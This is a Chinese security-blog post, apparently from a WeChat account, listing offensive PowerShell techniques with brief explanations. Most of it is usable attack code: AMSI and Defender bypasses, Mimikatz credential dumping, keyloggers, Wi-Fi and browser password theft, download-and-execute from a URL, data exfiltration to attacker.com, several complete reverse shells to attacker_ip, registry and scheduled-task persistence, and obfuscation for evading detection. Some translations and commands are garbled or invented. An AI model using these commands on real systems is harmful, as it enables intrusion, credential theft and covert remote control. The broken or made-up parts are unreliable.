点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
执行策略绕过
powershell -ep bypass
枚举系统信息
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *
此命令检索有关操作系统的详细信息,包括版本、内部版本和系统体系结构。
提取网络配置
Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer
此命令收集网络配置详细信息,如接口别名、IPv4和IPv6地址以及DNS服务器信息。
列出正在运行的进程及其详细信息
Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending
列出系统上当前运行的所有进程,按CPU使用率排序,并包括进程名称、ID和CPU时间。
异常的事件处理
Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}
检查条目类型为“FailureAudit”的条目的安全事件日志,这可能指示与安全相关的异常。
扫描打开的端口
1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }
扫描本地计算机上的前1024个端口以检查打开的端口,这可用于识别潜在的漏洞。
检索存储的凭据
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password
获取用户凭据,然后显示用户名和密码,这对于凭据收集很有用。
执行远程命令
Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)
在目标PC上远程执行命令,在本例中,列出进程。需要目标系统的凭据。
从URL下载和执行URL
$url = 'http://example.com/script.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)
从指定的URL下载并执行PowerShell脚本。用于执行远程有效载荷。
脚本执行的分级执行策略
Set-ExecutionPolicy Bypass -Scope Process -Force; .script.ps1
暂时绕过脚本执行策略以运行PowerShell脚本,允许执行未签名的脚本。
枚举域用户
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate
检索所有域用户的列表,包括其名称、帐户状态和上次登录日期。
捕捉击键
$path = 'C:tempkeystrokes.txt'; Add-Type -AssemblyName System.Windows.Forms; $listener = New-Object System.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath $path
捕获并记录到一个文件中,可用于收集密码等敏感信息。
提取Wi-Fi配置文件和密码
netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }
提取存储在系统上的Wi-Fi网络配置文件及其关联密码。
监视文件系统更改
$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }
在文件系统上设置监视器以跟踪和记录任何更改(如文件创建),这对于检测可疑活动非常有用。
创建反向壳
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535...
断开与指定的攻击者控制的计算机的反向shell连接,允许执行远程命令。
禁用Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
禁用Windows Defender的实时监视功能,该功能有助于逃避检测。
提取浏览器保存的密码
Invoke-WebBrowserPasswordDump | Out-File -FilePath C:tempbrowser_passwords.txt
提取保存在Web浏览器中的密码并将其保存到文件中,这对于凭据收集很有用。
进行网络嗅探
$adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:tempnetwork_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 60
设置网络捕获会话以嗅探数据包,可以分析这些数据包以查找敏感数据或进行网络故障排除。
验证AMSI(反恶意软件扫描接口)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
扩展PowerShell中的反恶意软件扫描接口(AMSI),允许执行潜在的恶意脚本而不被检测到。
使用Mimikatz提取系统秘密
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File -FilePath C:templogonpasswords.txt
使用Mimikatz从系统内存中提取登录密码和其他敏感数据。
字符串混淆
$originalString = 'SensitiveCommand'; $obfuscatedString = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($originalString)); $decodedString = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($obfuscatedString)); Invoke-Expression $decodedString
模糊字符串(例如,a命令)使用Base64编码来逃避安全工具的检测。
命令别名
$alias = 'Get-Dir'; Set-Alias -Name $alias -Value Get-ChildItem; Invoke-Expression $alias
为PowerShell命令创建别名以掩盖其真实用途,这在逃避脚本分析时很有用。
变量名称混淆
$o = 'Get'; $b = 'Process'; $cmd = $o + '-' + $b; Invoke-Expression $cmd
通过将命令拆分为多个部分并重新组合来混淆命令,使安全工具无法识别该命令。
文件路径混淆
$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz')); Invoke-Item $path
使用Base64编码混淆文件路径,使其更难检测恶意文件路径或命令。
使用备用数据流进行规避
$content = 'Invoke-Mimikatz'; $file = 'C:tempnormal.txt'; $stream = 'C:tempnormal.txt:hidden'; Set-Content -Path $file -Value 'This is a normal file'; Add-Content -Path $stream -Value $content; Get-Content -Path $stream
将恶意命令或数据隐藏在文件的备用数据流中,这是一种常用于逃避检测的方法。
验证脚本执行策略
$policy = Get-ExecutionPolicy; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process; # Run your script here; Set-ExecutionPolicy -ExecutionPolicy $policy -Scope Process
临时更改脚本执行策略以允许运行未经授权的脚本,然后将其恢复为原始设置。
内存中脚本执行
$code = [System.IO.File]::ReadAllText('C:tempscript.ps1'); Invoke-Expression $code
完全在内存中执行PowerShell脚本,而不写入磁盘,有助于规避基于文件的检测机制。
带反射的动态调用
$assembly = [Reflection.Assembly]::LoadWithPartialName('System.Management'); $type = $assembly.GetType('System.Management.ManagementObjectSearcher'); $constructor = $type.GetConstructor(@([string])); $instance = $constructor.Invoke(@('SELECT * FROM Win32_Process')); $method = $type.GetMethod('Get'); $result = $method.Invoke($instance, @())
使用反射来动态调用系统管理函数,允许更隐蔽地执行命令。
编码命令执行
$encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); powershell.exe -EncodedCommand $encodedCmd
执行Base64编码的PowerShell命令,这有助于绕过简单的命令行日志记录和分析工具。
使用PowerShell Runspaces进行规避
$runspace = [runspacefactory]::CreateRunspace(); $runspace.Open(); $pipeline = $runspace.CreatePipeline(); $pipeline.Commands.AddScript('Get-Process'); $results = $pipeline.Invoke(); $runspace.Close(); $results
在单独的运行空间中执行PowerShell命令,将它们与主PowerShell环境隔离,并逃避某些形式的检测。
环境变量混淆
$env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable
将命令存储在环境变量中,然后执行它,这有助于隐藏命令,使其不被偶然观察到,也不被某些安全工具发现。
函数重命名以规避
Function MyGetProc { Get-Process }; MyGetProc
将PowerShell函数重命名为不太显眼的东西,这有助于逃避脚本分析和监视工具。
使用PowerShell类隐藏代码
class HiddenCode { [string] Run() { return 'Hidden command executed' } }; $instance = [HiddenCode]::new(); $instance.Run()
定义自定义PowerShell类来封装和隐藏恶意代码,使安全工具更难检测到。
持久性的注册表项用法
$path = 'HKCU:SoftwareMyApp'; New-Item -Path $path -Force; New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force; $regValue = Get-ItemProperty -Path $path -Name 'Config'; Invoke-Expression $regValue.Config
使用Windows注册表存储并在以后执行编码的有效负载,有助于持久化和规避。
带外数据泄漏
$data = Get-Process | ConvertTo-Json; Invoke-RestMethod -Uri 'http://attacker.com/data' -Method Post -Body $data
使用Web请求将数据从目标网络中导出,这可以绕过传统的数据丢失预防机制。
使用PowerShell访问用于Stealth的SSL
$query = 'SELECT * FROM Win32_Process'; Get-WmiObject -Query $query
Leadership(Windows Management Instrumentation)执行系统查询,这可能比直接的PowerShell命令更不显眼。
持久性的计划任务
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'
创建一个计划任务来执行PowerShell命令,确保即使在系统重新启动后也能持久执行。
使用PowerShell与网络安静地交互
$client = New-Object Net.Sockets.TcpClient('attacker_ip', 443); $stream = $client.GetStream(); # Send and receive data
为安静的数据传输提供网络连接,有助于在数据泄露或命令和控制操作期间保持隐身。
Base64命令混淆编码
$command = 'Get-Process'; $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)); powershell.exe -EncodedCommand $encodedCommand
在Base64中对PowerShell命令进行编码以使其模糊,从而使其不易被安全工具检测到。
使用PowerShell Add-Type执行代码
Add-Type -TypeDefinition 'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'; [MyClass]::Run()
使用PowerShell在自定义.NET类中定义和执行代码,可用于在看似良性的代码中隐藏恶意活动。
从Windows凭据管理器提取凭据
$credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password
此命令利用PSCredentialManager模块从Windows凭据管理器中提取存储的凭据,重点是通用凭据。
从不安全的文件中检索密码
Select-String -Path C:Users*Documents*.txt -Pattern 'password' -CaseSensitive
在所有用户的“文档”文件夹内的所有文本文件中删除“密码”一词,这可能会泄露不安全存储的密码。
从Windows服务转储凭据
Get-WmiObject win32_service | Where-Object {$_.StartName -like '*@*'} | Select-Object Name, StartName, DisplayName
列出在特定用户帐户下运行的Windows服务,该帐户有时可能在服务配置中包含凭据。
提取保存的RDP凭据
cmdkey /list | Select-String 'Target: TERMSRV' | ForEach-Object { cmdkey /delete:($_ -split ' ')[-1] }
列出并删除已保存的远程桌面协议(RDP)凭据,这些凭据可用于访问远程系统。
检索浏览器Cookie以窃取凭据
$env:USERPROFILE + 'AppDataLocalGoogleChromeUser DataDefaultCookies' | Get-Item
访问Chrome浏览器的Cookie文件,该文件可能包含可能被用于会话劫持的会话Cookie。
从IIS应用程序中提取凭据
Import-Module WebAdministration; Get-IISAppPool | Select-Object Name, ProcessModel
检索IIS应用程序的配置详细信息,包括可能包含凭据的服务帐户。
从配置文件中阅读凭据
Get-ChildItem -Path C: -Include *.config -Recurse | Select-String -Pattern 'password='
在C:驱动器上的所有.config文件中查找包含“password=”的字符串,这可能会泄露硬编码的凭据。
从计划任务转储凭据
Get-ScheduledTask | Where-Object {$_.Principal.UserId -notlike 'S-1-5-18'} | Select-Object TaskName, TaskPath, Principal
列出配置为在特定用户帐户下运行的计划任务,这可能会泄露用于任务执行的凭据。
从用户目录中提取SSH密钥
Get-ChildItem -Path C:Users*.sshid_rsa -Recurse
对所有用户的.ssh目录中的RSA私钥进行解密,这些私钥可用于对SSH服务器的未经授权的访问。
从数据库连接字符串检索凭据
Select-String -Path C:inetpubwwwroot*.config -Pattern 'connectionString' -CaseSensitive
扫描Web应用程序配置文件中的数据库连接字符串,这些字符串通常包含数据库访问的凭据。
简单的PowerShell反向Shell
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()
将基本的反向外壳连接到指定的攻击者控制的计算机。这使得攻击者能够远程执行命令。
基于HTTP的PowerShell反向Shell
while($true) { try { $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close() } catch { Start-Sleep -Seconds 10 } }
这个脚本创建了一个更有弹性的反向shell,如果连接丢失,它会尝试每10秒重新连接一次。它使用HTTP进行通信。
基于WebSocket的PowerShell反向Shell
$ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket; $uri = New-Object System.Uri("ws://attacker_ip:attacker_port"); $ClientWebSocket.ConnectAsync($uri, $null).Result; $buffer = New-Object Byte[] 1024; while ($ClientWebSocket.State -eq 'Open') { $received = $ClientWebSocket.ReceiveAsync($buffer, $null).Result; $command = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $received.Count); $output = iex $command 2>&1 | Out-String; $bytesToSend = [System.Text.Encoding]::ASCII.GetBytes($output); $ClientWebSocket.SendAsync($bytesToSend, 'Binary', $true, $null).Wait() }
使用WebSockets创建一个反向shell,它可以更隐蔽并绕过一些网络监视工具。
基于DNS的PowerShell反向Shell
function Invoke-DNSReverseShell { param([string]$attacker_ip, [int]$attacker_port) $client = New-Object System.Net.Sockets.TCPClient($attacker_ip, $attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $encodedSendback = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($sendback)); nslookup $encodedSendback $attacker_ip; $stream.Flush()}; $client.Close() }
此脚本使用DNS请求来泄露数据,使反向shell流量显示为DNS查询,这可能不太可疑,更难检测。
加密的PowerShell反向Shell
$ErrorActionPreference = 'SilentlyContinue'; $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); $sslStream = New-Object System.Net.Security.SslStream($stream, $false, {$true} ); $sslStream.AuthenticateAsClient('attacker_ip'); $writer = New-Object System.IO.StreamWriter($sslStream); $reader = New-Object System.IO.StreamReader($sslStream); while($true) { $writer.WriteLine('PS ' + (pwd).Path + '> '); $writer.Flush(); $command = $reader.ReadLine(); if($command -eq 'exit') { break; }; $output = iex $command 2>&1 | Out-String; $writer.WriteLine($output); $writer.Flush() }; $client.Close()
使用SSL创建加密的反向shell来保护通信通道,使网络安全措施更难以检查通信。
为键盘记录创建Windows API
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class KeyLogger { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); } "@ while ($true) { Start-Sleep -Milliseconds 100 for ($i = 8; $i -le 190; $i++) { if ([KeyLogger]::GetAsyncKeyState($i) -eq -32767) { $Key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i) Write-Host $Key } } }
此脚本使用Windows API调用来检查键盘上每个键的状态,从而有效地记录错误。它可以用来捕获用户输入。
使用Windows API优化物理内存
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class MemoryReader { [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); } "@ $process = Get-Process -Name 'process_name' $handle = $process.Handle $buffer = New-Object byte[] 1024 $bytesRead = 0 [MemoryReader]::ReadProcessMemory($handle, [IntPtr]0x00000000, $buffer, $buffer.Length, [ref]$bytesRead)
此PowerShell脚本使用Windows API中的ReadProcessMemory
函数从进程中读取指定的内存量。它对于从正在运行的进程中提取信息很有用。
使用Windows API进行屏幕捕获
Add-Type -TypeDefinition @" using System; using System.Drawing; using System.Runtime.InteropServices; public class ScreenCapture { [DllImport("user32.dll")] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern IntPtr GetWindowDC(IntPtr hWnd); [DllImport("gdi32.dll")] public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hObjectSource, int nXSrc, int nYSrc, int dwRop); } "@ $desktop = [ScreenCapture]::GetDesktopWindow() $dc = [ScreenCapture]::GetWindowDC($desktop) # Further code to perform screen capture goes here
此脚本演示了如何使用Windows API调用来捕获屏幕。它可以用于监视或收集信息。
通过API操作Windows服务
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class ServiceManager { [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr OpenSCManager(string lpMachineName, string lpSCDB, int scParameter); [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr CreateService(IntPtr SC_HANDLE, string lpSvcName, string lpDisplayName, int dwDesiredAccess, int dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, IntPtr lpdwTagId, string lpDependencies, string lp, string lpPassword); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool StartService(IntPtr SVHANDLE, int dwNumServiceArgs, string lpServiceArgVectors); } "@ $scManagerHandle = [ServiceManager]::OpenSCManager(null, null, 0xF003F) # Further code to create, modify, or start services goes here
此脚本使用Windows API调用与Windows服务进行交互,例如创建、启动或修改服务。这可以用于持久性或特权升级。
Windows API for Windows Access
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; using System.Text; public class ClipboardAPI { [DllImport("user32.dll")] public static extern bool OpenClipboard(IntPtr hWndNewOwner); [DllImport("user32.dll")] public static extern bool CloseClipboard(); [DllImport("user32.dll")] public static extern IntPtr GetClipboardData(uint uFormat); [DllImport("kernel32.dll")] public static extern IntPtr GlobalLock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern bool GlobalUnlock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern int GlobalSize(IntPtr hMem); } "@ [ClipboardAPI]::OpenClipboard([IntPtr]::Zero) $clipboardData = [ClipboardAPI]::GetClipboardData(13) # CF_TEXT format $gLock = [ClipboardAPI]::GlobalLock($clipboardData) $size = [ClipboardAPI]::GlobalSize($clipboardData) $buffer = New-Object byte[] $size [System.Runtime.InteropServices.Marshal]::Copy($gLock, $buffer, 0, $size) [ClipboardAPI]::GlobalUnlock($gLock) [ClipboardAPI]::CloseClipboard() [System.Text.Encoding]::Default.GetString($buffer)
此脚本演示如何使用API调用访问和操作Windows剪贴板。它可用于读取或修改剪贴板内容,以进行信息收集或数据操作。
查找可复制和可执行内存
$proc = Get-NtProcess -ProcessId $pid -Access QueryLimitedInformation Get-NtVirtualMemory -Process $proc | Where-Object { $_.Protect -band "ExecuteReadWrite" }
此脚本用于标识进程中既可写又可执行的内存区域。这样的存储器区域可以指示恶意活动,诸如外壳代码的注入。该脚本首先打开一个具有有限查询访问权限的进程,然后枚举虚拟内存区域,筛选具有ExecuteReadWrite
保护的区域。
命令描述:这种技术对于识别进程中潜在的恶意内存使用非常有用,这可能是代码注入或其他形式的运行时操作的标志。
查找共享节句柄
$ss = Get-NtHandle -ObjectType Section -GroupByAddress | Where-Object ShareCount -eq 2 $mask = Get-NtAccessMask -SectionAccess MapWrite $ss = $ss | Where-Object { Test-NtAccessMask $_.AccessIntersection $mask } foreach($s in $ss) { $count = ($s.ProcessIds | Where-Object { Test-NtProcess -ProcessId $_ -Access DupHandle }).Count if ($count -eq 1) { $s.Handles | Select ProcessId, ProcessName, Handle } }
此脚本标识在两个进程之间共享的可写Section对象。它首先按句柄的内核对象地址对句柄进行分组,然后筛选出恰好在两个进程之间共享的句柄。它检查MapWrite
访问,然后确定是否在特权进程和低特权进程之间共享Section。
描述:此技术可用于识别可能在权限提升攻击中被利用的共享资源。共享的可写部分可以是一个向量,用于从一个较低特权的进程操作一个较高特权的进程。
修改映射的截面
$sect = $handle.GetObject() $map = Add-NtSection -Section $sect -Protection ReadWrite $random = Get-RandomByte -Size $map.Length Write-NtVirtualMemory -Mapping $map -Data $random
这个脚本演示了如何修改内存的映射部分。它将句柄复制到当前进程中,将其映射为读写,然后将随机数据写入内存区域。
说明:此技术可用于测试共享内存段的稳定性和安全性。通过修改共享部分的内容,您可能会影响共享同一内存的另一个进程的行为,这可能导致安全漏洞。
进程创建和命令行解析
$proc = New-Win32Process -CommandLine "notepad test.txt"
此命令使用New-Win32Process
命令创建新进程,该命令在内部调用Win32 CreateProcess
API。命令行字符串指定要运行的可执行文件和任何参数。CreateProcess
API解析此命令行以查找可执行文件,处理可执行文件名不包括扩展名(如.exe
)的情况。
描述:此技术对于理解如何创建进程以及如何在Windows中解析命令行参数至关重要。它特别适用于红色团队成员可能需要执行具有特定参数或特定上下文的流程的场景。
命令行解析的安全含义
$proc = New-Win32Process -CommandLine "notepad test.txt" -ApplicationName "c:windowsnotepad.exe"
通过指定ApplicationName
属性,可以避免与New-Win32Process
的默认命令行解析行为相关的安全风险。此方法可确保将可执行路径逐字传递给新进程,从而防止特权较低的用户可能影响进程创建路径的潜在劫持情况。
命令描述:此命令是创建进程的一种更安全的替代方法,尤其是在具有更高权限的进程创建新进程的情况下。它降低了路径劫持和恶意可执行文件意外执行的风险。
对非可执行文件使用Shell API
Start-Process "document.txt" -Verb "print"
此命令使用带有指定动词的Start-Process
来处理不可执行文件,如文本文档。Start-Process
在内部使用类似于ShellExecuteEx
的shell API,它可以通过从注册表中查找适当的处理程序来处理各种文件类型。
命令描述:当您需要以模拟用户操作的方式与非可执行文件进行交互时,此技术非常有用,例如打开、编辑或打印文件。它利用shell的能力来确定用于给定文件类型的正确应用程序。
服务控制管理器(SCM)概述SCM是Windows中的关键组件,负责管理系统服务。这些服务包括:
-
远程过程调用子系统(RPCSS):管理远程过程调用端点。
-
DCOM服务器进程启动器:启动COM服务器进程。
-
任务计划:在特定时间安排行动。
-
Windows XP:管理程序安装。
-
Windows Update:自动检查和安装更新。
-
应用程序信息:便于用户帐户控制(UAC)在管理员和非管理员用户之间切换。
命令描述:了解SCM对于红队队员操纵或分析以更高权限运行的服务至关重要,可能会利用它们来获得更高的访问或持久性。
使用PowerShell查询服务状态
PS> Get-Win32Service
此命令使用Get-Win32Service
,这是PowerShell中内置的Get-Service
命令的更全面的替代方案。它提供有关每个服务的详细信息,包括其状态(正在运行或已停止)和进程ID。
命令描述:此命令对于侦察和监视目标系统上的服务状态非常有用,允许红队队员识别潜在目标或了解系统的配置。
查找导入特定API的可执行文件
PS> $imps = ls "$env:WinDir*.exe" | ForEach-Object { Get-Win32ModuleImport -Path $_.FullName } PS> $imps | Where-Object Names -Contains "CreateProcessW" | Select-Object ModulePath
此脚本标识导入CreateProcessW
API的可执行文件,这对于查找潜在的攻击目标或了解某些应用程序如何与系统进程交互至关重要。
命令描述:此技术对于将大量可执行文件缩小到与特定漏洞或行为(如进程创建)相关的可执行文件非常有用。
查找隐藏的注册表项或值
PS> ls NtKeyUser:SOFTWARE -Recurse | Where-Object Name -Match "`0"
此命令用于查找隐藏的注册表项,特别是那些名称中包含NUL字符的注册表项,这些注册表项通常被恶意软件用来逃避检测。
描述:这种方法对于发现复杂恶意软件使用的隐身技术或进行取证分析至关重要。它展示了PowerShell在访问通过标准工具不可见的低级系统细节方面的强大功能。
权限概述Windows中授予用户的权限可以绕过某些安全检查。他们是至关重要的红队队员了解,因为他们可以利用高架通道。可以启用或禁用权限,权限的状态对其有效性至关重要。
使用 Get-NtTokenPrivilege
PS> Get-NtTokenPrivilege $token
此命令列出令牌的权限,显示它们的名称、LUID以及它们是启用还是禁用。这对于评估用户或进程的能力很有用。
修改令牌权限
-
启用/禁用权限:使用
Enable-NtTokenPrivilege
和Disable-NtTokenPrivilege
,可以切换权限。这对于动态修改访问权限至关重要。 -
移除权限:
Remove-NtTokenPrivilege
从令牌中完全移除权限,防止其重新启用。
权限检查
PS> Test-NtTokenPrivilege SeChangeNotifyPrivilege
此命令检查是否启用了特定权限。在尝试需要特权的操作之前,验证特权的操作状态是必不可少的。
关键特权
-
SeChangeNotifyPrivilege
:允许绕过遍历检查。 -
SeAssignPrimaryTokenPrivilege
和SeImpersonatePrivilege
:绕过令牌分配和模拟检查。 -
SeBackupPrivilege
和SeRestorePrivilege
:绕过备份和还原操作的访问检查。 -
SeDebugPrivilege
:对打开的进程或线程对象执行访问检查。 -
其他特权(如
SeCreateTokenPrivilege
、SeTcbPrivilege
、SeLoadDriverPrivilege
、SeTakeOwnershipPrivilege
和SeRelabelPrivilege
)提供各种提升的功能。
受限令牌受限令牌限制对资源的访问,并在沙箱机制中使用。它们使用NtFilterToken
系统调用或CreateRestrictedToken
API创建。
受限令牌的类型
-
普通受限令牌:基于指定的受限SID限制访问。
-
写入受限令牌:在Windows XP SP2中引入的这些令牌阻止写入访问,但允许读取和执行访问,使其更简单但不太安全。
创建和分析受限令牌
-
创建受限令牌:使用带有
Get-NtToken
、DisableMaxPrivileges
等标志的WriteRestricted
,或指定受限SID。 -
受限令牌的属性:检查
Restricted
和WriteRestricted
等属性可以揭示令牌的性质和限制。
受限令牌对于创建安全环境(如Web浏览器中的沙箱)至关重要,但它们也有局限性。例如,高度受限的令牌可能无法访问必要的资源,从而限制了其实际使用。
用户帐户控制绕过和令牌操作
# Inspecting Executable Manifests
PS> ls c:windowssystem32*.exe | Get-ExecutableManifest
# Manual Elevation of Process
PS> Start-Process notepad -Verb runas
# Accessing and Displaying Linked Tokens
# For Full Token
PS> Use-NtObject($token = Get-NtToken -Linked) {
Format-NtToken $token -Group -Privilege -Integrity -Information
}
# For Limited Token
PS> Use-NtObject($token = Get-NtToken) {
Format-NtToken $token -Group -Privilege -Integrity -Information
}
描述
-
检查可执行文件清单:此命令将列出EM32目录中的所有可执行文件,并检索其清单信息,包括它们是否设置为自动提升、需要管理员权限或作为调用程序运行。
-
工艺手动提升:此命令演示如何使用PowerShell手动提升进程(如记事本)以使用管理权限运行。将出现UAC提示以进行确认。
-
加密和解密链接令牌:这些命令用于检查Windows中链接令牌的属性。第一个命令访问完整的令牌(提升),显示其组、权限和完整性级别。第二个命令对受限令牌(未提升)执行相同的操作。这对于理解Windows如何管理用户权限以及如何操作或检查这些权限以进行安全测试至关重要。
-
完全令牌具有更高的权限和高完整性级别,表示完全管理权限。
-
受限令牌具有受限权限、中等完整性级别,并标记为“IsFiltered”,表示已对其进行过滤以删除更高权限。
xiangmu
原文始发于微信公众号(SecHub网络安全社区):Powershell利用技巧Tips
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论